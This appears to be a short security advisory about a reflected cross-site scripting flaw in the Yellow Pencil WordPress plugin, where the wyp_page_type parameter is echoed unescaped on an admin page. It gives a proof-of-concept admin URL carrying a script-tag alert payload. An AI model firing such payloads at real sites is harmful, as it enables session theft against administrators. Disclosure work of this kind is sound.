The plugin does not sanitise and escape the wyp_page_type parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
https://example.com/wp-admin/admin.php?page=yellow-pencil-editor&href=1&wyp_page_id=home&wyp_page_type=home&wyp_mode=single&wyp_page_type=<script>alert(/XSS/)</script>